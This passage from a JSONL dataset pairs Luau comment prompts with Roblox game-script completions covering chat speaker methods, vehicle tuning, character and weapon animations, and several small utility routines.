1, #self.InUse do\n\t\tself.InUse[i]:Destroy()\n\tend\n\tself.Template:Destroy()\n\tself.Open = {}\n\tself.InUse = {}\n\tself.CurrentCacheParent = nil\n\t\n\tself.GetPart = nil\n\tself.ReturnPart = nil\n\tself.SetCacheParent = nil\n\tself.Expand = nil\n\tself.Dispose = nil\nend\n\nreturn PartCacheStatic\n"} +{"prompt": "----- variables -----", "completion": "\n\nlocal interactive = script.Parent.Interactive\nlocal lockInteractive = script.Parent.Lock.Interactive\nlocal lock = script.Parent.Lock.Lock\nlocal handle = script.Parent.Lock.LockHandle\nlocal doorOpen = false\nlocal doorLocked = false\nlocal changingState = false\n"} +{"prompt": "--[[\n\tReturns the value currently stored in this State object.\n\tThe state object will be registered as a dependency unless `asDependency` is\n\tfalse.\n]]", "completion": "\nfunction class:get(asDependency: boolean?)\n\tif asDependency ~= false then\n\t\tuseDependency(self)\n\tend\n\treturn self._value\nend\n"} +{"prompt": "--////////////////////////////// Methods\n--//////////////////////////////////////", "completion": "\nlocal function ShallowCopy(table)\n\tlocal copy = {}\n\tfor i, v in pairs(table) do\n\t\tcopy[i] = v\n\tend\n\treturn copy\nend\n\nlocal methods = {}\n\nlocal lazyEventNames =\n{\n eDestroyed = true,\n\teSaidMessage = true,\n\teReceivedMessage = true,\n\teReceivedUnfilteredMessage = true,\n\teMessageDoneFiltering = true,\n\teReceivedSystemMessage = true,\n\teChannelJoined = true,\n\teChannelLeft = true,\n\teMuted = true,\n\teUnmuted = true,\n\teExtraDataUpdated = true,\n\teMainChannelSet = true,\n\teChannelNameColorUpdated = true,\n}\nlocal lazySignalNames =\n{\n\tDestroyed = \"eDestroyed\",\n\tSaidMessage = \"eSaidMessage\",\n\tReceivedMessage = \"eReceivedMessage\",\n\tReceivedUnfilteredMessage = \"eReceivedUnfilteredMessage\",\n RecievedUnfilteredMessage = \"eReceivedUnfilteredMessage\", -- legacy mispelling\n\tMessageDoneFiltering = \"eMessageDoneFiltering\",\n\tReceivedSystemMessage = \"eReceivedSystemMessage\",\n\tChannelJoined = \"eChannelJoined\",\n\tChannelLeft = \"eChannelLeft\",\n\tMuted = \"eMuted\",\n\tUnmuted = \"eUnmuted\",\n\tExtraDataUpdated = \"eExtraDataUpdated\",\n\tMainChannelSet = \"eMainChannelSet\",\n\tChannelNameColorUpdated = \"eChannelNameColorUpdated\"\n}\n\nmethods.__index = function (self, k)\n\tlocal fromMethods = rawget(methods, k)\n\tif fromMethods then return fromMethods end\n\n if lazyEventNames[k] and not rawget(self, k) then\n rawset(self, k, Instance.new(\"BindableEvent\"))\n end\n local lazySignalEventName = lazySignalNames[k]\n if lazySignalEventName and not rawget(self, k) then\n if not rawget(self, lazySignalEventName) then\n rawset(self, lazySignalEventName, Instance.new(\"BindableEvent\"))\n end\n rawset(self, k, rawget(self, lazySignalEventName).Event)\n end\n return rawget(self, k)\nend\n\nfunction methods:LazyFire(eventName, ...)\n\tlocal createdEvent = rawget(self, eventName)\n\tif createdEvent then\n\t\tcreatedEvent:Fire(...)\n\tend\nend\n\nfunction methods:SayMessage(message, channelName, extraData)\n\tif self.ChatService:InternalDoProcessCommands(self.Name, message, channelName) then\n\t\treturn\n\tend\n\tif not channelName then\n\t\treturn\n\tend\n\n\tlocal channel = self.Channels[channelName:lower()]\n\tif not channel then\n\t\treturn\n\tend\n\n\tlocal messageObj = channel:InternalPostMessage(self, message, extraData)\n\tif messageObj then\n\t\tpcall(function()\n\t\t\tself:LazyFire(\"eSaidMessage\", messageObj, channelName)\n\t\tend)\n\tend\n\n\treturn messageObj\nend\n\nfunction methods:JoinChannel(channelName)\n\tif (self.Channels[channelName:lower()]) then\n\t\twarn(\"Speaker is already in channel \\\"\" .. channelName .. \"\\\"\")\n\t\treturn\n\tend\n\n\tlocal channel = self.ChatService:GetChannel(channelName)\n\tif (not channel) then\n\t\terror(\"Channel \\\"\" .. channelName .. \"\\\" does not exist!\")\n\tend\n\n\tself.Channels[channelName:lower()] = channel\n\tchannel:InternalAddSpeaker(self)\n\tlocal success, err = pcall(function()\n\t\tself.eChannelJoined:Fire(channel.Name, channel:GetWelcomeMessageForSpeaker(self))\n\tend)\n\tif not success and err then\n\t\tprint(\"Error joining channel: \" ..err)\n\tend\nend\n\nfunction methods:LeaveChannel(channelName)\n\tif (not self.Channels[channelName:lower()]) then\n\t\twarn(\"Speaker is not in channel \\\"\" .. channelName .. \"\\\"\")\n\t\treturn\n\tend\n\n\tlocal channel = self.Channels[channelName:lower()]\n\n\tself.Channels[channelName:lower()] = nil\n\tchannel:InternalRemoveSpeaker(self)\n\tlocal success, err = pcall(function()\n\t\tself:LazyFire(\"eChannelLeft\", channel.Name)\n\t\tif self.PlayerObj then\n\t\t\tself.EventFolder.OnChannelLeft:FireClient(self.PlayerObj, channel.Name)\n\t\tend\n\tend)\n\tif not success and err then\n\t\tprint(\"Error leaving channel: \" ..err)\n\tend\nend\n\nfunction methods:IsInChannel(channelName)\n\treturn (self.Channels[channelName:lower()] ~= nil)\nend\n\nfunction methods:GetChannelList()\n\tlocal list = {}\n\tfor i, channel in pairs(self.Channels) do\n\t\ttable.insert(list, channel.Name)\n\tend\n\treturn list\nend\n\nfunction methods:SendMessage(message, channelName, fromSpeaker, extraData)\n\tlocal channel = self.Channels[channelName:lower()]\n\tif (channel) then\n\t\tchannel:SendMessageToSpeaker(message, self.Name, fromSpeaker, extraData)\n\n\telse\n\t\twarn(string.format(\"Speaker '%s' is not in channel '%s' and cannot receive a message in it.\", self.Name, channelName))\n\n\tend\nend\n\nfunction methods:SendSystemMessage(message, channelName, extraData)\n\tlocal channel = self.Channels[channelName:lower()]\n\tif (channel) then\n\t\tchannel:SendSystemMessageToSpeaker(message, self.Name, extraData)\n\n\telse\n\t\twarn(string.format(\"Speaker '%s' is not in channel '%s' and cannot receive a system message in it.\", self.Name, channelName))\n\n\tend\nend\n\nfunction methods:GetPlayer()\n\treturn self.PlayerObj\nend\n\nfunction methods:SetExtraData(key, value)\n\tself.ExtraData[key] = value\n\tself:LazyFire(\"eExtraDataUpdated\", key, value)\nend\n\nfunction methods:GetExtraData(key)\n\treturn self.ExtraData[key]\nend\n\nfunction methods:SetMainChannel(channelName)\n\tlocal success, err = pcall(function()\n\t\tself:LazyFire(\"eMainChannelSet\", channelName)\n\t\tif self.PlayerObj then\n\t\t\tself.EventFolder.OnMainChannelSet:FireClient(self.PlayerObj, channelName)\n\t\tend\n\tend)\n\tif not success and err then\n\t\tprint(\"Error setting main channel: \" ..err)\n\tend\nend\n"} +{"prompt": "--[[\np1.Parent = nil\np2.Parent = nil\np3.Parent = nil \np4.Parent = nil\n]]", "completion": " \n\tif not enabled then\n\t\treturn\n\tend\n\tenabled = false\n\tmouse.Icon = \"rbxasset://textures\\\\GunWaitCursor.png\"\n\n\twait(12)\n\tmouse.Icon = \"rbxasset://textures\\\\GunCursor.png\"\n\tenabled = true\n\nend\n\nfunction onEquippedLocal(mouse)\n\t\n\n\n\tif mouse == nil then\n\t\tprint(\"Mouse not found\")\n\t\treturn \n\tend\n\n\tmouse.Icon = \"rbxasset://textures\\\\GunCursor.png\"\n\tmouse.Button1Down:connect(function() onButton1Down(mouse) end)\n\t--mouse.Button1Up:connect(function() unButton1Down(mouse) end)\nend\n"} +{"prompt": "--[[Output Scaling Factor]]", "completion": "\n\n\tlocal hpScaling = _Tune.WeightScaling*10\n\tlocal FBrakeForce = _Tune.FBrakeForce\n\tlocal RBrakeForce = _Tune.RBrakeForce\n\tlocal PBrakeForce = _Tune.PBrakeForce\n\tlocal OriginalBrakeForceR = _Tune.RBrakeForce\n\tlocal OriginalBrakeForceF = _Tune.FBrakeForce\n\tlocal DoubleBrake = false\n\tif not workspace:PGSIsEnabled() then\n\t\thpScaling = _Tune.LegacyScaling*10\n\t\tFBrakeForce = _Tune.FLgcyBForce\n\t\tRBrakeForce = _Tune.RLgcyBForce\n\t\tPBrakeForce = _Tune.LgcyPBForce\n\tend\n"} +{"prompt": "-- Setting these here so the functions above can self-reference just by name:", "completion": "\nMockDataStoreUtils.logMethod = logMethod\nMockDataStoreUtils.deepcopy = deepcopy\nMockDataStoreUtils.scanValidity = scanValidity\nMockDataStoreUtils.getStringPath = getStringPath\nMockDataStoreUtils.importPairsFromTable = importPairsFromTable\nMockDataStoreUtils.prepareDataStoresForExport = prepareDataStoresForExport\nMockDataStoreUtils.preprocessKey = preprocessKey\nMockDataStoreUtils.simulateYield = simulateYield\nMockDataStoreUtils.simulateErrorCheck = simulateErrorCheck\n\nreturn MockDataStoreUtils\n"} +{"prompt": "-- functions", "completion": "\n\nlocal function Goldify(part)\n\tif part:IsA(\"MeshPart\") then\n\t\tpart.TextureID\t= \"\"\n\tend\n\t\n\tpart.Color\t\t= Color3.fromRGB(255, 157, 0)\n\tpart.Material\t= Enum.Material.Glass\n\t\n\tlocal emitter\t= script.SparkleEmitter:Clone()\n\t\temitter.Enabled\t= true\n\t\temitter.Parent\t= part\nend\n"} +{"prompt": "--[[Status Vars]]", "completion": "\n\n\tlocal _IsOn = _Tune.AutoStart\n\tif _Tune.AutoStart then script.Parent.IsOn.Value=true end\n\t\n\tlocal _GSteerT=0\n\tlocal _GSteerC=0\n\tlocal _GThrot=0\n\tlocal _GThrotShift=1\n\tlocal _GBrake=0\n\t\n\tlocal _ClutchOn = true\n\tlocal _ClPressing = false\n\tlocal _RPM = 0\n\tlocal _HP = 0\n\tlocal _OutTorque = 0\n\tlocal _CGear = 0\n\tlocal _PGear = _CGear\n\tlocal _spLimit = 0\n\t\n\tlocal _Boost = 0\n\tlocal _TCount = 0\n\tlocal _TPsi = 0\n\tlocal _BH = 0\n\tlocal _BT = 0\n\tlocal _NH = 0\n\tlocal _NT = 0\n\t\n\tlocal _TMode = _Tune.TransModes[1]\n\t\n\tlocal _MSteer = false\n\tlocal _SteerL = false\n\tlocal _SteerR = false\n\tlocal _PBrake = false\n\tlocal _TCS = _Tune.TCSEnabled\n\tlocal _TCSActive = false\n\tlocal _TCSAmt = 0\n\tlocal _ABS = _Tune.ABSEnabled\n\tlocal _ABSActive = false\n\t\n\tlocal FlipWait=tick()\n\tlocal FlipDB=false\n\t\n\tlocal _InControls = false\n\n\n"} +{"prompt": "--[[ Module Functions ]]", "completion": "--\nChassis = {}\n\nChassis.root = PackagedVehicle:FindFirstChild(\"Chassis\") --the root of the Chassis model\nChassis.driverSeat = Chassis.root:FindFirstChildOfClass(\"VehicleSeat\")\nChassis.passengerSeats = {\n\t\tChassis.root:FindFirstChild(\"SeatFR\"),\n\t\tChassis.root:FindFirstChild(\"SeatRL\"),\n\t\tChassis.root:FindFirstChild(\"SeatRR\")\n}\n\nlocal randomSuspension = Chassis.root:FindFirstChild(\"SuspensionFL\")\nlocal wheelRadius = randomSuspension.Wheel.Size.y/2\nChassis.driverSeat.MaxSpeed = VehicleParameters.MaxSpeed * wheelRadius\n\nfunction Chassis.InitializeDrivingValues()\n\t-- Constraint tables always ordered FL, FR, RL, RR\n\tMotors = getVehicleMotors()\n\t\n\tlocal strutSpringsFront = getSprings(\"StrutFront\")\n\tlocal strutSpringsRear = getSprings(\"StrutRear\")\n\tlocal torsionSprings = getSprings(\"TorsionBar\")\n\n\tRedressMount = Chassis.root:WaitForChild(\"RedressMount\")\n\t\n\tSteeringPrismatic = constraints:FindFirstChild(\"SteeringPrismatic\")\n\tSteeringPrismatic.UpperLimit = VehicleParameters.MaxSteer\n\tSteeringPrismatic.LowerLimit = -VehicleParameters.MaxSteer\n\n\tfor _,s in pairs(strutSpringsFront) do\n\t\tadjustSpring(s, ActualStrutSpringStiffnessFront, ActualStrutSpringDampingFront)\n\tend\n\tfor _,s in pairs(strutSpringsRear) do\n\t\tadjustSpring(s, ActualStrutSpringStiffnessRear, ActualStrutSpringDampingRear)\n\tend\n\tfor _,s in pairs(torsionSprings) do\n\t\tadjustSpring(s, ActualTorsionSpringStiffness, ActualTorsionSpringDamping)\n\tend\n\t\n\tlocal chassisChildren = Chassis.root:GetChildren()\n\tfor i = 1, #chassisChildren do\n\t\tlocal model = chassisChildren[i]\n\t\tif model:IsA(\"Model\") then\n\t\t\tlocal wheel = model:FindFirstChild(\"Wheel\")\n\t\t\tif wheel then\n\t\t\t\tlocal old = wheel.CustomPhysicalProperties\n\t\t\t\tlocal new = PhysicalProperties.new(old.Density, VehicleParameters.WheelFriction, old.Elasticity, old.FrictionWeight, old.ElasticityWeight)\n\t\t\t\twheel.CustomPhysicalProperties = new\n\t\t\tend\n\t\tend\n\tend\n\n\tsetMotorTorque(10000)\nend\n\nfunction Chassis.GetDriverSeat()\n\treturn Chassis.driverSeat\nend\n\nfunction Chassis.GetPassengerSeats()\n\treturn Chassis.passengerSeats\nend\n\nfunction Chassis.GetBase()\n\treturn Chassis.root.PrimaryPart or Chassis.root:FindFirstChild(\"FloorPanel\")\nend\n"} +{"prompt": "-- Get the leaderboard and setup connections", "completion": "\nlocal function updateText(textObject, whatText)\n currentText.Text = whatText\nend\n\nshields.Changed:Connect(function()\n updateText(currentText, shields.Value)\nend)\n\nupdateText(currentText, shields.Value)\n"} +{"prompt": "-- Boolean", "completion": "\nlocal cooldown = 0.4\nlocal lastSound = \"\"\nfootstepsSound.Volume = 0.1\n"} +{"prompt": "--[[Wheel Stabilizer Gyro]]", "completion": "\nTune.FGyroDamp\t\t= 100\t\t-- Front Wheel Non-Axial Dampening\nTune.RGyroDamp\t\t= 100\t\t-- Rear Wheel Non-Axial Dampening\n"} +{"prompt": "--\t\tsetAnimationSpeed(speed / scale)", "completion": "\n\t\tpose = \"Swimming\"\n\telse\n\t\tplayAnimation(\"swimidle\", 0.4, Humanoid)\n\t\tpose = \"Standing\"\n\tend\nend\n\nfunction animateTool()\n\tif (toolAnim == \"None\") then\n\t\tplayToolAnimation(\"toolnone\", toolTransitionTime, Humanoid, Enum.AnimationPriority.Idle)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Slash\") then\n\t\tplayToolAnimation(\"toolslash\", 0, Humanoid, Enum.AnimationPriority.Action)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Lunge\") then\n\t\tplayToolAnimation(\"toollunge\", 0, Humanoid, Enum.AnimationPriority.Action)\n\t\treturn\n\tend\nend\n\nfunction getToolAnim(tool)\n\tfor _, c in ipairs(tool:GetChildren()) do\n\t\tif c.Name == \"toolanim\" and c.className == \"StringValue\" then\n\t\t\treturn c\n\t\tend\n\tend\n\treturn nil\nend\n\nlocal lastTick = 0\n\nfunction stepAnimate(currentTime)\n\tlocal amplitude = 1\n\tlocal frequency = 1\n \tlocal deltaTime = currentTime - lastTick\n \tlastTick = currentTime\n\n\tlocal climbFudge = 0\n\tlocal setAngles = false\n\n \tif (jumpAnimTime > 0) then\n \t\tjumpAnimTime = jumpAnimTime - deltaTime\n \tend\n\n\tif (pose == \"FreeFall\" and jumpAnimTime <= 0) then\n\t\tplayAnimation(\"fall\", fallTransitionTime, Humanoid)\n\telseif (pose == \"Seated\") then\n\t\tplayAnimation(\"sit\", 0.5, Humanoid)\n\t\treturn\n\telseif (pose == \"Running\") then\n\t\tplayAnimation(\"walk\", 0.2, Humanoid)\n\telseif (pose == \"Dead\" or pose == \"GettingUp\" or pose == \"FallingDown\" or pose == \"Seated\" or pose == \"PlatformStanding\") then\n\t\tstopAllAnimations()\n\t\tamplitude = 0.1\n\t\tfrequency = 1\n\t\tsetAngles = true\n\tend\n\n\t-- Tool Animation handling\n\tlocal tool = Character:FindFirstChildOfClass(\"Tool\")\n\tif tool and tool:FindFirstChild(\"Handle\") then\n\t\tlocal animStringValueObject = getToolAnim(tool)\n\n\t\tif animStringValueObject then\n\t\t\ttoolAnim = animStringValueObject.Value\n\t\t\t-- message recieved, delete StringValue\n\t\t\tanimStringValueObject.Parent = nil\n\t\t\ttoolAnimTime = currentTime + .3\n\t\tend\n\n\t\tif currentTime > toolAnimTime then\n\t\t\ttoolAnimTime = 0\n\t\t\ttoolAnim = \"None\"\n\t\tend\n\n\t\tanimateTool()\t\t\n\telse\n\t\tstopToolAnimations()\n\t\ttoolAnim = \"None\"\n\t\ttoolAnimInstance = nil\n\t\ttoolAnimTime = 0\n\tend\nend\n"} +{"prompt": "--recoil data", "completion": "\nlocal currentcspeed = 1.5\nlocal recmult = 1\nlocal rectime = 0.1\nlocal recdampmult = 3\nlocal recxamount = 10\nlocal recyamount = 4\nlocal reczamount = 15\nlocal recoilcf = CFrame.new()\nlocal frametick = tick()\nlocal recoiltick = tick()\n"} +{"prompt": "-- Define the player who is holding the gun", "completion": "\nlocal player = game.Players.LocalPlayer\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nreturn function(p1, p2)\n\tlocal v1 = { Enum.ThumbnailSize.Size420x420, Enum.ThumbnailSize.Size352x352, Enum.ThumbnailSize.Size180x180, Enum.ThumbnailSize.Size150x150, Enum.ThumbnailSize.Size100x100 };\n\tlocal v2 = nil;\n\tlocal v3 = #v1;\n\tlocal v4 = 1 - 1;\n\twhile true do\n\t\tlocal u1 = v4;\n\t\tlocal v5, v6, v7 = pcall(function()\n\t\t\treturn game.Players:GetUserThumbnailAsync(p1, p2, v1[u1]);\n\t\tend);\n\t\tif v7 and v5 then\n\t\t\treturn v6;\n\t\tend;\n\t\tif v5 and not v2 then\n\t\t\tv2 = v6;\n\t\tend;\n\t\tif 0 <= 1 then\n\t\t\tif not (u1 < v3) then\n\t\t\t\tbreak;\n\t\t\tend;\n\t\telseif not (v3 < u1) then\n\t\t\tbreak;\n\t\tend;\n\t\tu1 = u1 + 1;\t\n\tend;\n\treturn v2 and \"\";\nend;\n"} +{"prompt": "--\trepeat wait() until Body:FindFirstChild(\"UpperTorso\")", "completion": "\n\tif ((IsR6 and Body[\"Torso\"]) or Body:FindFirstChild(\"UpperTorso\"))~=nil and Body[\"Head\"]~=nil then\t--[Check for the Torso and Head...]\n\t\tlocal TrsoLV = Trso.CFrame.lookVector\n\t\tlocal HdPos = Head.CFrame.p\n\t\tif IsR6 and Neck or Neck and Waist then\t--[Make sure the Neck still exists.]\n\t\t\tif Cam.CameraSubject:IsDescendantOf(Body) or Cam.CameraSubject:IsDescendantOf(Plr) then\n\t\t\t\tlocal Dist = nil;\n\t\t\t\tlocal Diff = nil;\n\t\t\t\tif not MseGuide then\t--[If not tracking the Mouse then get the Camera.]\n\t\t\t\t\tDist = (Head.CFrame.p-CamCF.p).magnitude\n\t\t\t\t\tDiff = Head.CFrame.Y-CamCF.Y\n\t\t\t\t\tif not IsR6 then\t--[R6 and R15 Neck rotation C0s are different; R15: X axis inverted and Z is now the Y.]\n\t\t\t\t\t\tNeck.C0 = Neck.C0:lerp(NeckOrgnC0*Ang((aSin(Diff/Dist)*HeadVertFactor), -(((HdPos-CamCF.p).Unit):Cross(TrsoLV)).Y*HeadHorFactor, 0), UpdateSpeed/2)\n\t\t\t\t\t\tWaist.C0 = Waist.C0:lerp(WaistOrgnC0*Ang((aSin(Diff/Dist)*BodyVertFactor), -(((HdPos-CamCF.p).Unit):Cross(TrsoLV)).Y*BodyHorFactor, 0), UpdateSpeed/2)\n\t\t\t\t\telse\t--[R15s actually have the properly oriented Neck CFrame.]\n\t\t\t\t\t\tNeck.C0 = Neck.C0:lerp(NeckOrgnC0*Ang(-(aSin(Diff/Dist)*HeadVertFactor), 0, -(((HdPos-CamCF.p).Unit):Cross(TrsoLV)).Y*HeadHorFactor),UpdateSpeed/2)\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tlocal Point = Mouse.Hit.p\n\t\t\t\t\tDist = (Head.CFrame.p-Point).magnitude\n\t\t\t\t\tDiff = Head.CFrame.Y-Point.Y\n\t\t\t\t\tif not IsR6 then\n\t\t\t\t\t\tNeck.C0 = Neck.C0:lerp(NeckOrgnC0*Ang(-(aTan(Diff/Dist)*HeadVertFactor), (((HdPos-Point).Unit):Cross(TrsoLV)).Y*HeadHorFactor, 0), UpdateSpeed/2)\n\t\t\t\t\t\tWaist.C0 = Waist.C0:lerp(WaistOrgnC0*Ang(-(aTan(Diff/Dist)*BodyVertFactor), (((HdPos-Point).Unit):Cross(TrsoLV)).Y*BodyHorFactor, 0), UpdateSpeed/2)\n\t\t\t\t\telse\n\t\t\t\t\t\tNeck.C0 = Neck.C0:lerp(NeckOrgnC0*Ang((aTan(Diff/Dist)*HeadVertFactor), 0, (((HdPos-Point).Unit):Cross(TrsoLV)).Y*HeadHorFactor), UpdateSpeed/2)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\tif TurnCharacterToMouse == true then\n\t\tHum.AutoRotate = false\n\t\tCore.CFrame = Core.CFrame:lerp(CFrame.new(Core.Position, Vector3.new(Mouse.Hit.p.x, Core.Position.Y, Mouse.Hit.p.z)), UpdateSpeed / 2)\n\telse\n\t\tHum.AutoRotate = true\n\tend\nend)\n"} +{"prompt": "--------------------------------------------------------------------------------", "completion": "\n\nwhile true do\n\twhile Humanoid.Health < Humanoid.MaxHealth do\n\t\tlocal dt = wait(REGEN_STEP)\n\t\tlocal dh = dt*REGEN_RATE*Humanoid.MaxHealth\n\t\tHumanoid.Health = math.min(Humanoid.Health + dh, Humanoid.MaxHealth)\n\tend\n\tHumanoid.HealthChanged:Wait()\nend\n"} +{"prompt": "-- \u062f\u0627\u0644\u0629 \u0627\u0644\u062f\u0648\u0631\u0627\u0646", "completion": "\nlocal function rotateWall()\n\twhile true do\n\t\twall.CFrame = wall.CFrame * CFrame.Angles(0, math.rad(rotationSpeed), 0)\n\t\twait()\n\tend\nend\n"} +{"prompt": "--local function lastInputTypeChanged(inputType)\n--\tif inputType == Enum.UserInputType.Touch then", "completion": "\n"} +{"prompt": "--//Client Animations", "completion": "\n\t\tIdleAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms)\t\n\t\t\twait(0.3)\n\t\tend;\n\t\t\n\t\tStanceDown = function(char, speed, objs)\n\t\t\tif objs[6]:FindFirstChild(\"WeldConstraint\")~= nil then\n\t\t\t\tobjs[6].WeldConstraint:Destroy()\n\t\t\tend\n\n\t\t\tobjs[4].Part1 = objs[5].Handle\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()\n\t\t\twait(0.3)\t\n\t\tend;\n\n\t\tStanceUp = function(char, speed, objs)\n\t\t\tif objs[6]:FindFirstChild(\"WeldConstraint\")~= nil then\n\t\t\t\tobjs[6].WeldConstraint:Destroy()\n\t\t\tend\n\n\t\t\tobjs[4].Part1 = objs[5].Handle\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -1.85, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(.65,-0.75,-1.15) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15))}):Play()\n\t\t\twait(0.3)\t\n\t\tend;\n\t\t\n\t\tPatrol = function(char, speed, objs)\n\t\t\tif objs[6]:FindFirstChild(\"WeldConstraint\")~= nil then\n\t\t\t\tobjs[6].WeldConstraint:Destroy()\n\t\t\tend\n\n\t\t\tobjs[4].Part1 = objs[5].Handle\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.75, -.9, -1.6) * CFrame.Angles(math.rad(-80), math.rad(-70), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.75,0.75,-1) * CFrame.Angles(math.rad(-90),math.rad(-45),math.rad(-25))}):Play()\n\t\t\twait(0.3)\t\n\t\tend;\n\n\t\tSprintAnim = function(char, speed, objs)\n\t\t\tif objs[6]:FindFirstChild(\"WeldConstraint\")~= nil then\n\t\t\t\tobjs[6].WeldConstraint:Destroy()\n\t\t\tend\n\n\t\t\tobjs[4].Part1 = objs[5].Handle\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()\n\t\t\twait(0.3)\n\t\tend;\n\n\t\tEquipAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()\n\t\t\twait(0.1)\n\t\t\tobjs[5].Handle:WaitForChild(\"AimUp\"):Play()\n\t\t\tts:Create(objs[2],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).RightPos}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).LeftPos}):Play()\n\t\t\twait(0.5)\n\t\tend;\n\n\t\tZoomAnim = function(char, speed, objs)\n\t\t\t--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()\n\t\t\twait(0.3)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()\n\t\t\tts:Create(objs[5].g33:WaitForChild(\"g33\"),TweenInfo.new(0.3),{C1 = CFrame.new(-0.2, 0.21, 0)*CFrame.Angles(0, 0, math.rad(90))*CFrame.new(0.225, -0.75, 0)}):Play()\n\t\t\twait(0.3)\n\t\tend;\n\n\t\tUnZoomAnim = function(char, speed, objs)\n\t\t\t--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()\n\t\t\twait(0.3)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()\n\t\t\tts:Create(objs[5].g33:WaitForChild(\"g33\"),TweenInfo.new(0.3),{C1 = CFrame.new()}):Play()\n\t\t\twait(0.3)\n\t\tend;\n\n\t\tChamberAnim = function(char, speed, objs)\n\n\n\t\t\tif objs[8]:FindFirstChild(\"WeldConstraint\") == nil then\n\t\t\tlocal newW = Instance.new('WeldConstraint')\n\t\t\tnewW.Parent = objs[8]\n\t\t\tnewW.Part0 = objs[8]\n\t\t\tnewW.Part1 = objs[5].Handle\n\t\t\tobjs[4].Part1 = nil\n\t\t\tend\n\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play()\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.95,-0.65,-1.25) * CFrame.Angles(math.rad(-130),math.rad(0),math.rad(0))}):Play()\n\t\t\twait(0.3)\t\n\t\t\tobjs[5].Bolt:WaitForChild(\"SlidePull\"):Play()\n\t\t\tts:Create(objs[2],TweenInfo.new(.3),{C1 = CFrame.new(-.95,-1.5,-0.5) * CFrame.Angles(math.rad(-180),math.rad(0),math.rad(0))}):Play()\n\t\t\tts:Create(objs[5].Handle:WaitForChild(\"Bolt\"),TweenInfo.new(.3),{C0 = CFrame.new(objs[6].BoltExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\t\tts:Create(objs[5].Handle:WaitForChild(\"Slide\"),TweenInfo.new(.3),{C0 = CFrame.new(objs[6].SlideExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\t\twait(.5)\n\t\t\tobjs[5].Bolt:WaitForChild(\"SlideRelease\"):Play()\n\t\t\tts:Create(objs[2],TweenInfo.new(.3),{C1 = CFrame.new(-.95,-0.65,-1.25) * CFrame.Angles(math.rad(-130),math.rad(0),math.rad(0))}):Play()\n\t\t\tts:Create(objs[5].Handle:WaitForChild(\"Bolt\"),TweenInfo.new(0.3),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\t\tts:Create(objs[5].Handle:WaitForChild(\"Slide\"),TweenInfo.new(0.3),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\t\twait(.3)\n\t\t\t\n\t\tend;\n\n\t\tChamberBKAnim = function(char, speed, objs)\n\t\t\tif 